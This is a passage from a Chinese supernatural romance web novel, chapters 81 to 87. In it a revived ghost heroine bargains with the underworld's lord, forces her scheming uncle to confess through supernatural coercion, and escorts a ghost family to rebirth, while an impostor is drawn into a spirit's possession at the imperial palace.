“夏熙墨”不理他眼底的震惊之色,又道:“你说过,三样缺一不可,阳灵既死,‘阴阳煞’应该也就练不成了。”
“不过,赋楼内,除了那丑东西和姓白的之外,应该还有更厉害的鬼物。”
“而单靠你的道行,想要助任风玦破此案,只怕胜算不多。”
颜正初从震惊之中回神,心下隐隐不悦:“你都做鬼了,能不能改掉小瞧人的毛病?”
“夏熙墨”眯了一下眼睛,眼神愈发冰冷慑人。
“你师父喊你下山,只是为寻‘养魂珠’,没让你捉鬼。”
颜正初被说得很心虚,竟一时不知该如何驳她。
于是问:“所以,你来找我,就是为了劝我和任风玦别查这事?”
闻言,“夏熙墨”反而沉默了一下。
可以肯定的事情是——她并不想任风玦替自己报仇。
至少,不想看见他身陷险境。
想到这点,她心下又是一阵异样。
都要离开了,还管他人生死?
“夏熙墨”回道:“只是告诫,听不听,由你们。”
说完,她身影一晃,便消失在房内。
颜正初正待追出去,却被突如其来地一阵阴风吹迷了眼睛,整个人连连后退数步,竟又躺回了床上。
他心下一惊,意识却陷入昏沉,转瞬便跌进了梦里。
“夏熙墨”出南院,却迎面看到了任风玦。
他就立在东院与南院之间相连的小径上,负着双手,像是在侯她。
而且,在她出现的那刻,他的目光便望了过来,恰好看着她。
这显然不对劲。
他又如何能看见自己?
“夏熙墨”靠近了几步,只觉得一股不属于人间的凛然之气,迎面笼罩而来。
跟随在她身后的灯魂无忧,开始腿脚发软。
“他不是任风玦!”
“他…他是——”
“夏熙墨”当然也猜出了他的身份,却故意停在与他几步之遥的位置,迎视着他的目光。
“堂堂阴司之主,难道要亲自接我回九幽?”
第82章 地君
“墨骨,别来无恙。”
此时,被阴司之主附体的任风玦微微笑着,表面看来,与往常无异。
但那身来自地府的幽冥之气,实在太过于浓郁。
以至于整个任宅在他的渲染之下,都被衬得像鬼都。
“夏熙墨”听着这个原本应该无比熟悉的名字,却突然觉得陌生。
墨骨。
她都快要忘了。
“活人才配得上‘无恙’二字。”
还是一样,面对谁都是一身傲骨。
“任风玦”笑着点头:“我听你这话的意思,应该还是想继续留在人间?”
这话,让缩在角落里的无忧都忍不住竖起耳朵。
心道,就知道地君不会无故亲自出动!
“夏熙墨”面上也闪过一丝异色:“我还有机会?”
“有。”
他答得笃定:“不过也有条件,看你愿不愿意答应。”
“什么条件?”
“任风玦”正色道:“正如那小道士所言,‘阴阳煞’一旦炼成,于我阴司并无任何好处。”
“我要你助任风玦破赋楼案,铲除背后鬼物,以此,为复活的条件。”
“当然,等你点亮渡魂灯之后,也可再入轮回。”
“夏熙墨”却陷入沉默。
迟迟没有听到回应的无忧,顾不上害怕上前来,拉了拉她的衣角:“你还在犹豫什么啊?这么好的机会赶紧抓住。”
“我也有条件。”
谁料,她竟这么答。
无忧差点吐血。
听到这话的阴司之主当然不快:“墨骨,你好大胆子!”
他略一动怒,便有阴风从四面八方呼啸而来,令漂浮在半空中的两道阴魂几乎站不住脚。
然而,那抹红影依然身姿挺拔,坚韧如松。
她不曾屈服过。
无论是百年前的阴司殿堂,还是如今的人间。
“夏熙墨”眉目不惊,望着面前之“人”:“阴阳煞能打乱阴司与阳间的秩序,你作为阴司之主,自然头疼。”
“我帮你解决麻烦,难道连要求都提不得?”
闻言,“任风玦”却笑了。
这笑容之后,是作为阴司之主难得的一丝宽容:“好,说说你的要求。”
“夏熙墨”道:“人间的规矩,加上你阴司的规矩,处处都是束缚。”
“以我这凡人之躯,加上那点微弱魂力,怎么跟赋楼鬼物斗?”
“再来一次魂体分离,是不是又要‘功亏一篑’?”
她语气听来全是自嘲,却让一旁的无忧,为她捏了一把汗。
这姐是真敢说!
“任风玦”那俊朗的眉目之间,果然多了一丝松动,他却道:“墨骨,你只怕忘了自己的能耐,要是没有规矩,这整个人间只怕都要被你掀了。”
“夏熙墨”唇角微扬:“不必夸赞。”
“……”
“任风玦”似乎思忖了一下,才勉为其难地说道:“最多给你三成魂力,灭掉那赋楼鬼物,绰绰有余。”
“不行。”
她一口咬定,没有余地:“我要五成。”
“你!”
好啊,敢跟阴司之主讨价还价!
眼见地君又要生气,无忧恨不得现在就钻进灯里去。
哪知他沉吟半晌,竟同意了。
“好,就给你五成。”
“不过你也要记得,若是你扰乱人间因果秩序,抑或是滥杀无辜,我会立即将你魂魄打回九幽,永世不得超生。”
“你,可知道?”
“嗯。”
若换作其他鬼,能得地君特许,多少也得跪在地上磕两个响头。
她却依然神情淡淡,立得笔挺,与百年前十万阴差押送她往九幽时的神态一模一样。
都在那地方囚了整整一百年。
性子竟是一点都不改…
地君隐隐头疼。
罢了,不予她计较。
“你过来。”
他伸出手,一道金光凝于指尖处,轻轻点在她眉间。
象征着鬼王之印的红莲印于眉间绽放,业火在眼底焚烧。
“着吾之力,魂体寄生。”
——
夏熙墨猛然睁开双眼,面色骤然一变。
只见任风玦躺在身侧,几乎与她咫尺相对。
窗外,天已经完全亮了。
一抹朝阳从窗棂照进来,正好落在他好看的眉眼上。
如今近的距离,连肌肤的纹理都能看得一清二楚。
她心下一跳,立即坐起身来。
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而身侧之人受到惊扰,也是悠悠醒转了过来。
下一秒,任风玦也惊了。
“夏…姑娘?”
他差点以为自己眼花,又情不自禁伸手轻轻触碰了一下她。
触感真实…
她竟然真的活过来了。
“这…”
夏熙墨冷冷扫了一眼他的手。
任风玦这才意识到此情此景究竟有多么的不妥。
他翻身下床,面颊耳根子已然红透,不知所措之间,更不知该如何解释这一切。
“昨夜…我…”
“我多有冒犯!”
夏熙墨倒是一脸平静,问他:“冒犯什么?”
不难猜出,昨晚被阴司地君附体后的任风玦,魂识尚未归位,肯定要昏睡。
但他为何不是睡在外面,而是和自己睡在一张床上?
这就要问那位阴司之主了。
任风玦不知附身之事,对于自己昨晚的“行为”,更是困惑。
活了二十多年,却还是头一次窘迫到有口难言。
他理不清思绪,索性又后退了几步,刚退到门口,房门竟被人一把推开。
门外站着颜正初,天青跟在他身后。
“小侯爷,我来看看夏姑娘的尸身…”
颜道长一早醒来,整个人都是懵的。
一时间,竟分不清昨晚被夏熙墨鬼魂找上门的事,究竟是真是假。
当然,他对任风玦一整晚都守在夏熙墨房中的事,也丝毫没在意。
直到,他看见安然无恙站在床边的夏熙墨,这下真是不惊不行!
“这?”
“不是!这?”
“你到底是人是鬼?”
夏熙墨不语,朝阳却将她的影子映照在墙壁上。
颜正初忍不住揉了揉眼睛,又望向任风玦,问道:“她什么时候活过来的?”
任风玦掩唇轻咳,这个问题,他真答不上来。
“这事…”
两男人各自迷惑。
倒是门外天青听见动静立即冲了进来。
“夏姑娘,我就知道你吉人自有天相,绝对不会有事!”
她激动上前,一把就将人抱住。
夏熙墨被她这么抱着,身体却只僵了一下,瞬间又松软下来。
第83章 穆铮
城西。
一座名为“文庐”的偏僻宅院内,不时有咳嗽声从室内传来。
侍僮推开房门,怯生生朝里面问了一句:“大人,你从昨晚回来,就一直咳嗽,要不要小人去请个郎中?”
“只是染上了一些风寒而已,多喝几碗姜汤就好了。”
穆铮虚弱靠在床边,面色很是难看。
但比起自己的身体,他还是更在意外面的动静。
“给仁宣侯府送东西的人还没回来?”
侍僮回道:“一早就送过去了,这会儿理应也在回来路上,大人再耐心等等。”
穆铮心下焦虑,根本无法好好休整,只能端起桌上姜汤,又勉强喝了一口。
这时,院门外隐隐传来马蹄声。
他手一哆嗦,汤碗直接摔在了地上。
侍僮想要去收拾,却被他制止。
“快去看看,是不是回来了?速速让他来见我。”
“是。”
侍僮虽不解,但还是依言去了。
结果,刚走到门口,却脚步一顿:“你是谁?”
无人回应。
侍僮只得大喊一声:“我家大人病了,暂不见客!”
穆铮一惊。
随即,便看见一道瘦弱且熟悉的身影映在窗棂之间。
“舅父连我都不见吗?”
听这道冰冷的声音,穆铮差点吓得魂飞魄散,“你…你…”
身影缓缓走到门边,总算露出整张脸。
“你…不是已经**吗?你是人是鬼?”
穆铮一激动,竟从床榻上滚了下来,手脚磕在破碎的汤碗上,割出了口子,他却不觉得疼。
比起疼痛,更多的是惊恐。
夏熙墨立在门边,因背着光,她的脸看起来半明半暗。
在穆铮看来,简直如同索命的厉鬼。
仓惶间,他想要后退,后背却抵在床沿边,身后早已没了退路。
“你不要过来!”
“来人,把她给我赶出去!”
他大声叫喊,可连门外的侍僮都没了声息。
这让穆铮感到一阵绝望。
夏熙墨依然站在门边,冷冷凝视他,“昨晚,舅父去了一趟赋楼,买了我的命?”
她声音冰冷,咬字轻慢,不带一丝感情,甚至连眼睛里都是寒芒。
这让穆铮无论如何都无法将她与记忆中的“夏熙墨”联想在一起。
其实,他们已经许多年都没见过了。
最后一次见,还是两年前的岁除之夜。
印象中,她一副怯弱的样子,瑟缩在角落里,连眼睛都不敢跟他对视。
可现在…
她像是脱胎换骨,完全变了。
看他眼神,带着居高临下的凌然之气。
仿佛,视他为蝼蚁。
“我很好奇,你拿什么买我的命?”
穆铮哆嗦了一下。
即便如此,他也不会答她的话,“我不知道你在说什么…”
夏熙墨毫不在意他的嘴硬,“那我帮你想。”
她话音刚落,穆铮便感受到被一股诡异的力量牵制住了手脚。
如同中邪一般,双手开始不受控制去拾地上碎片。
他惊恐不已,却只能眼睁睁看着自己的左手,将汤碗碎片握在掌心处,尖锐的痛感传来,鲜血流溢。
“不要!”穆铮痛苦大叫。
面前的人问他:“想清楚了吗?”
穆铮大喊:“你不是夏熙墨,你到底是人是鬼?你到底是谁?!”
夏熙墨面不改色,手指又轻轻动了动:“看来还不够清楚。”
“不!”
在她的操控之下,穆铮开始伸出右手去握碎片。
作为文臣,他用右手抄写了一辈子的文书。
他那一手引以为傲的字迹,连圣上见了都忍不住夸赞。
穆家世代擅丹青,但他并无天赋。
少年时学画几年,用心临摹,依然平庸,甚至不及幼妹寥寥数笔之间的神韵。
父亲不器重他,他也渐渐心灰意冷,不再作画。
但自小就拿笔,他并无其他长处,索性开始钻研书法。
这一写,就写了将近三十年。
入朝后,从一个小小八品承事郎,做到了如今正三品。
他靠的就是这只手!
“我说…”
穆铮浑身抖成筛子,因过度惊恐,额前布满了密密麻麻的汗珠。
“白掌柜说,只要我肯献出自己的一滴精血,她便可以帮我除掉心腹大患…”
听到这句“心
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腹大患”,夏熙墨不禁冷笑了一声。
穆铮也知道,自己一旦将这话说出口,便没有回旋余地。
但他想活,更不舍得眼下所拥有的一切。
“熙墨,不要怪舅父狠心,这件事,当初都是你舅母她…一手酿成的。”
“我知道时,早就为时过晚,只能是将错就错,我实在是身不由己!”
“咱们可是一家人,要不这样…”
穆铮脑子一转,勉强露出一抹虚伪的笑容:“你在这京城之中可有想要的?舅父都尽自己所能,统统给你!”
“只要你,乖乖听我…”
话尚未说完,他却突然面容扭曲,痛呼了一声。
低头,即见碎片深陷右手掌心,触目惊心的一道伤口,几乎穿透整个手掌。
鲜血流了一地。
对此,夏熙墨面上没有一丝怜悯与动容,只是冷冷问道:“蠢货,你可知‘精血’是什么?”
穆铮已疼得说不出话来,却感知到她话中别有深意,忙问道:“你是什么意思?!”
夏熙墨没回话,窗棂上却多了两道身影。
一人道:“献出一滴‘精血’,就相当于拿出自己命,来换别人的命。”
“你可知,昨晚回来后,为何会突然病倒?”
“那是因为,路上那些孤魂野鬼都缠上你了,它们要趁虚而入,要你的命。”
听到这声音,穆铮后背不由得一阵发凉,他怒声质问:“你是什么人?在这里妖言惑众?”
那人索性将半掩的支窗推起,随即靠着窗台边,瞥了他一眼:“信不信由你,死的又不是我。”
穆铮认出来了,对方是昨晚与任风玦一同闯入赋楼的人。
所以…
窗下另一道身影,只露出半张侧脸,但那沉稳持重的气场,与矜贵不凡的气度。
仅一眼,就令他心头一震。
任风玦。
他也来了!
这时的穆铮,才知什么叫作真正的绝望。
任风玦立在窗边,面上看似噙着笑意,眼底却一片疏冷:“上回登门拜访,侍僮说穆侍郎病了,要去求医,今日一见,果然病得厉害。”
穆铮顿时面如死灰。
一切都完了。
第84章 觐见
“舅父他…送了什么东西来?”
天还未亮透,穆汀汀就已经坐在了梳妆镜前。
今日,章皇后再次传召,她终于有机会可以去皇宫。
只是,头发才刚梳好,便有一名婢女来送东西,声称是穆侍郎一早托人送来的。
穆汀汀激动得手脚轻颤,连忙亲自起身去接。
当日与穆铮分开后,两人悄悄打下暗号,只要事情成了,就会托人送东西来。
若送单数,意指赋楼之事,没有着落。
若送双数,那便说明,事情已有眉目。
而婢女送来的,是两个木匣子。
穆汀汀心里抖得更厉害,又问:“前来送东西的人,可带了什么话?”
婢女答道:“回夏小姐,那人说,这是穆侍郎一番心意,红木匣子里的东西,请小姐务必带在身边。”
穆汀汀一听就明白了。
避免让人怀疑,她也没有多问,直接让莺儿给了赏钱。
待婢女走开后,才将匣子都打开。
只见原木匣子里装的是几样首饰,并无特色。
而红木匣内,却是一颗珠子。
穆汀汀虽不懂穆铮用意,但见这珠子色泽莹润,一看就不是凡品,心里也很是喜欢,便让莺儿将东西放在锦囊里带上。
辰时左右,她与侯夫人同乘一辆马车,到了皇城内。
章皇后为示看重,早早让宫里嬷嬷备了步辇,在宫门处相迎。
穆汀汀毕竟是第一次进宫,心里很是紧张,可谓每走一步,都提心吊胆,生怕行差踏错。
好不容易到了章皇后的凤鸾殿,远远窥见凤颜,一颗心更是提到了嗓子眼处。
“仁宣侯夫人荣氏携护国大将军之女夏熙墨前来觐见。”
内侍通报一声后,穆汀汀便规矩跟在侯夫人身后进殿门,行三跪九叩之礼。
因是传召,今日的章皇后亦是仪态万方,端坐于殿中。
待礼毕后,她才笑着招呼人近前来赐坐。
只是,在看清穆汀汀面容那刻,章皇后眼底明显闪过一丝疑虑。
她甚至下意识问了一句:“夏姑娘是初次进宫?”
这话问得穆汀汀与容氏皆心存疑惑。
穆汀汀心里更是慌得厉害,她强压着心惊,答道:“回皇后娘娘,熙墨…的确是初次进宫。”
顿了一下,又道:“这些时日住在侯府,常听夫人提起娘娘,心中一直瞻仰,今日总算有机会能亲眼见到。”
说着,便借机献上自己亲手绣的九色锦囊。
章皇后看后赞不绝口,“你这孩子,不仅嘴巴甜,连手都这样巧。”
跟着,也着人赏赐了一些东西。
在凤鸾殿内坐了一会儿后,又陆续来了几位女眷。
人齐后,众人便直接移驾御花园内赏梅。
穆汀汀早听容舒说过,皇家园林规模之大,差不多能抵得上半个侯府,真正身临其中,才知所言不虚。
她心里一片赞叹,却莫名想到自己的母亲范氏,眼眶开始泛着酸意。
这样跟着逛了好一会儿,章皇后又招呼众人在就近的花厅暖阁内饮茶小憩。
而就在这时,一名紫袍少女在宫人簇拥之下径自进了厅内。
一来便气势汹汹。
“若臻见过皇后娘娘,娘娘万福金安。”
厅内众人皆识得这是皇帝最宠爱的定安公主,相继都站起身来。
穆汀汀虽后知后觉,却也跟着站了起来。
章皇后立即抬手示意免礼,笑着向定安问道:“公主怎么来了?早上不是才说天气太冷,不来吗?”
定安公主却道:“我听说今日来了一位新人,不曾见过,所以,特意来看看。”
她眉目一转,又向旁边问道:“不知哪一位是护国大将军之女?”
乍一听,竟是冲着自己来的,穆汀汀多少有些意外,但还是强作镇定站起身来,朝着定安公主行了一礼:“见过公主殿下。”
定安公主也朝她走近几步,一双眼睛将她上下一番打量,问:“听说你和仁宣侯府的小侯爷从小便定了姻亲?”
此言一出,四周看热闹的人,心里也就明白了。
这分明,是要找茬。
穆汀汀并不知其中的弯弯绕绕,回道:“是。”
定安公主面色却变了变,隐隐像是有些不服气,她随即又问:“你会骑马射箭吗?”
这问题,让穆汀汀微怔了一下,
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但还是如实答道:“不会…”
定安公主扬起下巴,一本正经说道:“你父亲可是威名赫赫的护国大将军,我原以为,武将之女,应当也是擅骑射,会武艺才是,毕竟只有这样的女子,才配得上风哥哥。”
这话让穆汀汀面上一阵青红不定,正斟酌着不知该怎么答时,章皇后连忙出来解围。
“若臻,不得无礼。”
定安公主被斥责,却也不在意,甚至吐了吐舌头,卖了一个乖:“娘娘,若臻只是好奇问问罢了。”
章皇后顾及荣氏的面子,立即正色道:“夏姑娘与任小侯爷乃是指腹为婚,容不得你在这里胡乱说话。”
定安公主的这番话其实就是说给侯夫人听,她悄悄看了一眼荣氏的脸色,又不情不愿地向穆汀汀说道:“那我向你道歉。”
穆汀汀心里难堪至极,面上却不能显露分毫,只道:“公主不必道歉。”
见状,章皇后又说了几句场面话,这才不至于让氛围太僵。
然而,经过公主这么一闹,穆汀汀的心里就像扎进了一根刺。
重新坐回座位上,她总觉得身旁之人看自己的眼神都带着嘲讽之意。
荣氏感觉到她心神不宁,等章皇后等人移驾出花厅后,便拉着她的手,到旁边宽慰了一番。
“公主年纪尚小,又与风儿自幼相识,一直把他当作亲哥哥一般看待。”
“她说的那番话,你可千万不要放在心上。”
穆汀汀听了荣氏的话,心里并没有好受些,反而愈发焦躁不安。
她扶了一下额头,向荣氏说道:“夫人,我好似有些头晕,可否在此处休息一下?”
荣氏也心疼她,又拍了拍她的手:“没事,你就在此处休息,皇后娘娘那边我来说。”
众人相继离去后,花厅内便只剩下几个收拾花厅的宫女。
莺儿指着不远处的小塌,问道:“小姐,咱们要不要去那边休息一下?”
穆汀汀也确实头晕胸闷,便点了一下头。
正要过去,眼前似有什么东西一晃而过,接着,便依稀闻见旁边的宫女冷嘲了一声。
“一个冒牌货,还真把自己当正主了。”
第85章 丢人
“一个冒牌货,还真把自己当正主了。”
这句话,如同山谷回音一般,在耳旁萦绕不绝。
穆汀汀听后,只觉得一股邪火,骤然在心口处爆发。
她再也无法忍受,走到那宫女身旁,揪起对方便狠狠给了两巴掌。
那宫女被打懵了,一个踉跄不稳,便跌坐在地上。
穆汀汀却犹不解气,上前又踹了两脚。
这一举动,不单单是惊呆旁边的宫女,连莺儿都被吓坏了。
她惊愣片刻,才想起去阻拦。
“小姐,你这是怎么了?”
听见莺儿的声音,穆汀汀才慢慢冷静下来。
再望着面前被自己打得满身狼狈的宫女,以及旁边诧异的目光,她反而吓得连连后退了几步。
莺儿连忙扶住她,“小姐,咱们还是赶紧过去休息一下吧。”
在婢女搀扶之下,穆汀汀来到旁边的小室,却依然惊魂未定。
莺儿见状,又倒了一杯水过来。
“小姐,你先喝点水。”
穆汀汀靠在小塌,盯着自己颤抖的手,面色很是难看。
她下意识问:“莺儿,我刚刚是怎么了?”
对于自家小姐刚刚中邪一般的行为,莺儿也答不上来。
她眼中的小姐,向来极少动怒,就算再怎么生气,说骂两句也就算了,绝不会动手**。
可刚刚…
莺儿很是担忧:“小姐是不是压力太大?让自己绷得太紧了?”
听了这话后,穆汀汀不但心里难受,头也开始作痛起来。
近来,她确实一直心绪不宁,吃睡不好,还夜夜噩梦缠身。
一天之中,除了做绣工时能短暂松懈一下,其他时候,心神都是紧绷的。
眼下到了这皇宫,心弦只会绷得更紧。
“你出去一下,让我自己待一会儿。”
她按着隐隐作疼的头,索性侧身靠在小塌上。
莺儿知道她心烦,便直接放下两旁帘子,打算先在门口守着她。
穆汀汀闭上眼睛,耳边却没有清净下来,似有人在絮絮叨叨说着风凉话,亦真亦幻,忽近忽远。
“我觉得定安公主说得对,一个武将之女,竟然只会绣花?”
“是啊,听说绣的锦囊还得了皇后娘娘夸赞呢。”
“那又如何?小家子气的东西,也不嫌丢人!”
“就是,丢人!”
最后两个字,像是加了重音,一直在穆汀汀耳边回荡着。
恍然间,她像是回到了四年前的那个春日,母亲范氏忽然拿了一套衣服走进汀水暖阁。
“换上这个,一会儿跟我去见侯夫人。”
她吓了一跳,支吾道:“见侯夫人?”
“是。”
范氏神情肃然,语气更是严厉:“一会儿见了夫人,就把自己当夏熙墨,知道吗?”
穆汀汀吓坏了,想要推脱:“母亲,我不想去…”
“不想去?”
范氏冷冷盯着她:“不去也得去,你表妹那个病秧子,还不知道能不能活过这个冬天。”
“每日花那么多钱,吃了那么多名贵药材,身体却一点起色没有,难道我们要继续供着她?”
忽然,语气又缓和了下来:“汀汀,反正侯夫人也不曾见过熙墨,你代她去见,也是一样的。”
在母亲一番催促之下,她半推半就,去见了侯夫人荣氏。
与她想象中并不一样。
侯夫人待人温和,说话得体,举手投足之间,尽彰显着名门大家之风。
她赏赐了自己很多东西,每一样都名贵,每一样都稀罕。
皆是在西泠县内,不曾见过的。
那次见面很成功,侯夫人果然没有怀疑,范氏眼角眉梢都是喜色。
穆汀汀却始终有种“做贼心虚”的感觉。
她知道自己的命运从那刻起就已得到改变。
只要好好听话,之后就能嫁入侯府。
未来,她也会是那样雍容华贵端庄得体的侯夫人。
可每当午夜梦回时,她还是会因为害怕,而浑身颤抖。
她只能向母亲倾诉,然而,得到的却只是指责。
“我真白教了你那么多东西!你难道心甘情愿一辈子留在西泠县?找个凡夫俗子成婚?”
“穆汀汀,你可别给我丢人!”
丢人!
这两字砸在脸上,让她不得不将所有的惊慌不安与委屈不甘,统统咽了回去。
穆汀汀昏昏沉沉靠在小塌上,
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思绪像密密匝匝的针脚…
忽然,她睁开了眼睛,却见一道白色身影立在小塌边,像一道轻薄的纱,让人分不清虚实。
“你是谁?”
奇怪的是,望着这道白色身影,她并不觉得害怕。
白影笑得柔媚:“我们见过的,你这么快就忘了?”
听着她娇媚的声音,穆汀汀立即就记起来了。
那日在杜国公府,湖边水榭的阁楼上,与太子殿下喝酒的女人。
“我想起来了…”
“还不算太笨。”
白影如烟,轻飘飘缠绕了过来,带着一股清冷的香。
穆汀汀这才感到一点害怕;“你…不是人?”
白影笑道:“当然不是,要是人的话,可帮不了你。”
“你…要帮我?”
穆汀汀似乎难以置信。
“当然,你父亲穆铮找上我,可不就是为了帮你,能够顺利嫁给任风玦?”
白影附在她的肩旁,轻轻吐着气:“我可以帮你,只问你,是否愿意?”
穆汀汀心跳加快,几乎脱口而出:“我…当然愿意,你若能帮我,我什么都可以答应你。”
“很好。”
白影勾唇一笑:“只要你愿意,一切都好办,从现在开始,你就是我,我就是你。”
“我可以帮你,得到你想要的。”
“同时,你的躯体,也要为我所用。”
“你可愿?”
带着蛊意的话语,似一缕轻烟,在耳旁来回萦绕。
穆汀汀只觉得心口处像是有一只轻柔的手,在细细安抚着,渐渐驱散了所有的焦虑与不安。
随之,她面上露出诡谲笑意,从唇间吐出了三个字。
“我愿意。”
风吹珠帘,发出轻响。
莺儿察觉动静,下意识抬头看了一眼,却发现是穆汀汀。
“小姐?你休息好了吗?”
穆汀汀起得悄无声息,较之刚才的心慌意乱,现在的她,眉宇之间不仅神采奕奕,还多几分往日不可多见的从容淡定。
“走吧,这里闷得很,我想出去走走。”
这话让虽莺儿有些摸不着头脑。
但她也没敢多问,便跟在对方身后,向御花园内走去。
第86章 吩咐
从城西“文庐”回来的路上,颜正初还在琢磨着昨晚被夏熙墨鬼魂找上门的事。
但这事当着任风玦的面,又实在不太好说,他只能在心里暗自琢磨。
而任风玦心中,也有自己的事需要琢磨。
今日来“文庐”找穆铮之事,为夏熙墨提议。
起初,他还在斟酌,事情一旦揭穿后,是否要给穆铮留活路。
毕竟,他是夏熙墨的亲舅父,当今世上,唯一血亲。
谁知,面对穆铮时,夏熙墨没有一丝心慈手软,竟比他还果断。
文人傲骨,以笔为刃。
但那只被碎片刺穿的手,从此以后都将拿不起笔杆。
这于穆铮而言,可比杀了他,还要痛苦。
尽管,以他现在这副三魂不整的残躯,已是时日无多。
任风玦由衷钦佩,并打心底又高看了她几分。
夏熙墨则始终在闭目养神,但耳边还是会时不时传来无忧的唠叨。
“昨晚你杀了那没脸的鬼物,那些被它吃掉的魂魄,都跑出来了。”
“你得尽快去把周子规和那郑道远的鬼魂找出来,渡它们早日上路才是。”
“我觉得,查赋楼怪物之事太过于凶险,你虽然多了五成魂力,但终究还是凡人之躯…”
它正说得唾沫四溅。
夏熙墨忽然睁开了眼睛:“道士。”
“呃?”
颜正初也从怔忡之中回过神来,却听她问道:“有没有能封住阴魂之口的符咒?”
“…有是有,但有这个必要吗?”
“有。”
“……”
无忧立即乖乖闭嘴了。
以它对这位渡魂人的了解,她真会舍得花一锭金子买符封它的口。
因为不用她花钱…
颜正初轻咳了一声,才说道:“封口咒我师父倒是会,不过嘛,就是不肯教。”
后面三字说得极为心虚。
看样子,天机**的封口咒只怕都用在他身上了。
“哦。”
夏熙墨乜斜着眼睛,虽只回了一个字,但那感觉像是什么都懂了。
她又看向任风玦,竟主动问道:“赋楼一案,你要怎么查?”
难得会听她主动问及自己案情。
任风玦倒有些意外,他顿了一下,才说道:“关于白掌柜的下落,我倒是还想到了一个人。”
来时,夏熙墨提到穆铮去过赋楼之事。
他本以为,能从对方口中套出一些有用的。
结果这个穆铮,只是稀里糊涂就献出去了一滴精血,对于赋楼及白掌柜,根本一无所知。
看样子,反倒是被人利用了。
夏熙墨问:“谁?”
“是杜国公之子杜月明,昨日我在赋楼见过他。”
夏熙墨点了一下头。
任风玦又继续道:“除此之外,我也派了暗影卫去留意东宫的动向。”
“但太子毕竟身为皇储,东宫守卫森严,一时之间只怕也难查出什么。”
“我还打算,这几日找个由头,亲自去一趟东宫。”
夏熙墨几乎不假思索就接了他的话,“去时带上我。”
这话换作别人说,任大人肯定得斟酌考虑一下。
但从她口中说出来,心里竟多了三分惊喜。
一旁的颜正初忍不住插了一句:“是不是应该也带上我?万一那太子真不是人的话…”
“你不用。”
任风玦没出声,夏熙墨倒先替他做主了。
颜正初微恼,正要为自己分辨两句,却又听她道:“赋楼的通天阁内,需要你去仔细看看。”
“那里面必然有不少冤魂,你去问问。”
听了这话,颜正初面色稍缓。
任风玦又补充道:“不错,道长说过,那一池血水,为‘阴阳煞’之关键。”
“道长见识多广,且法力高强,必能从中找出破案的关键。”
这二人虽有“一唱一和”的嫌疑,但对颜道长却颇为受用。
他沉吟了一声,才道:“既如此,本道便勉为其难去看看吧。”
马车行至城东街市,夏熙墨忽然喊阿夏停车。
任风玦认出这地方离周子规住宅处不远,便也猜出了她的用意。
见她下车后,又道:“若有需要帮忙之处,直接找我便是。”
夏熙墨步子微顿,淡应了一声。
她正要往周宅而去,似想到什么,又折了回来。
“任风玦。”
闻声,任风玦又将车帘子拉开,见她披着白色斗篷,立于暖阳之下,眉目清和,倒让他心下微微一动。
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“有何吩咐?”
他开口问她,语气说不出的自然,就连一旁木头人似的阿夏听了,都忍不住抬了一下眼睛。
夏熙墨倒真就吩咐了:“穆铮今早派人去侯府送东西,你最好回去问问。”
任风玦其实并未忽略这点,但他还是点头应了一声。
“好。”
夏熙墨这才转头往周宅走去。
见她身影一直远了,任风玦才吩咐阿夏:“先去送颜道长去赋楼。”
周宅门前,依然冷清。
随着一道身影入内,阴风吹着庭中荒草,发出簌簌声响。
夏熙墨径自推门而入。
室内鬼魂感知闯入者,立即瑟缩了起来。
“躲什么?又不是来吃你们的。”
闻声,角落里的魂魄才慢慢现了形,却依然不敢上前。
望着这整整齐齐的一家四口,夏熙墨却道:“心意既了,该上路了。”
周子规却将妻儿护在身后,“我们…能团聚在一起,已经很满足了,我们不想走。”
夏熙墨眯了一下眼睛,“不走?甘愿做个游魂?”
“是!”
周子规语气笃定。
夏熙墨却望向他身后的柳氏,问道:“你也希望如此?”
迎着她的目光,柳氏显然躲闪了一下。
她不敢答。
“好。”
夏熙墨不多言,转身欲走。
岂料柳氏却喊住了她,“姑娘留步。”
柳氏深深看了丈夫一眼,却将一双儿女推到夏熙墨跟前,“我的儿女,能否送他们…”
“不能。”
夏熙墨一脸冷漠,拒绝得决然,“我不是来做善事。”
周子规却向柳氏表示不解:“娘子,我们为何要送孩子走?我们即便做了鬼,也可以是一家人…”
见他如此天真,灯魂无忧忍不住冒出来说道:“做了游魂,无人引渡,便无转生机会,你的孩子还这么小,实在不该如此自私!”
听了这话,周子规嘴唇抖了一下,立即怔住。
一旁柳氏则掩面而泣:“夫君,我确实不该如此自私…若非如此,你也不会死。”
周子规大惊:“娘子,这事怎么能怪你呢?”
眼见二鬼就要互诉衷肠,夏熙墨却一脸不耐地走了出去。
第87章 动容
“你真不打算管他们了?”
无忧跟着飘出庭院,望着夏熙墨的背影,忍不住问了一句。
她却没有立即答话,而是看了一眼门前的桂花树。
不难想象,在桂花飘香的季节里,这一家四口坐在树下,其乐融融的画面,该有多么和美。
而以周子规这样的品性,若不是遭此横祸,他与柳氏的下半生,也应该会儿孙满堂,承欢膝下。
可惜…
夏熙墨在门前站了一会儿,又回头看了一眼。
然而,刚下台阶,却听见周子规的声音从身后传来。
“姑娘…”
他与柳氏及一双儿女站在厅门后,因阴魂畏惧阳光,而不能踏出。
“考虑好了?”
夏熙墨冷冷问了一句。
声音虽冰冷,却明显能从语气中听出几分松动。
身后,周子规执起妻子的手,说道:“我虽怨与娘子情投意合,却未能白头偕老,但于世间收获这份情义,已是莫大的幸事。”
“未能同生共死,却能携手赴黄泉,也该满足,若上苍垂怜,来世必会让我们再相逢。”
听完这番话的夏熙墨依然神色淡淡,却从鼻子里应了一声。
无忧惊讶她这次居然没有说出“泼冷水”的大实话。
倒是多了那么一点“人味”。
周子规又继续道:“还有一事,曾答应过姑娘…”
夏熙墨抬起眼皮,“什么?”
周子规指着一旁桂花树:“我那十锭金子,就埋在这桂花树下,赠予姑娘。”
原来是这事。
“嗯。”
夏熙墨又应了一声,面上却不见一丝喜色,只转头问他:“还有话说?”
周子规微笑摇头,垂首作揖:“多谢姑娘了。”
无忧将一家子魂魄都收进了渡魂灯里。
夏熙墨拿起院子里的小花锄,在桂花树下挖了一会儿,挖出一个乌沉沉的小箱子,里面果然放着十锭金子。
拿了金子,她出周宅,却往东市街口走去,本打算雇一辆马车直接去郑道远府上。
然而,在路过一间铺面时,“周记糕点”的招牌赫然映入眼帘,铺门却紧紧关闭着,看样子已闭店多时。
夏熙墨感知到渡魂灯内的魂魄轻轻颤抖了一下,对于此地,显然十分触动。
望着这间老字号,她脚步微顿,眸光里若有所思。
雇了一辆马车,却先回了任宅。
管家任丛正在院子里悠闲浇花,猝不及防见一道身影倒映在旁边的墙壁上,吓得他手一抖,水撒了一地。
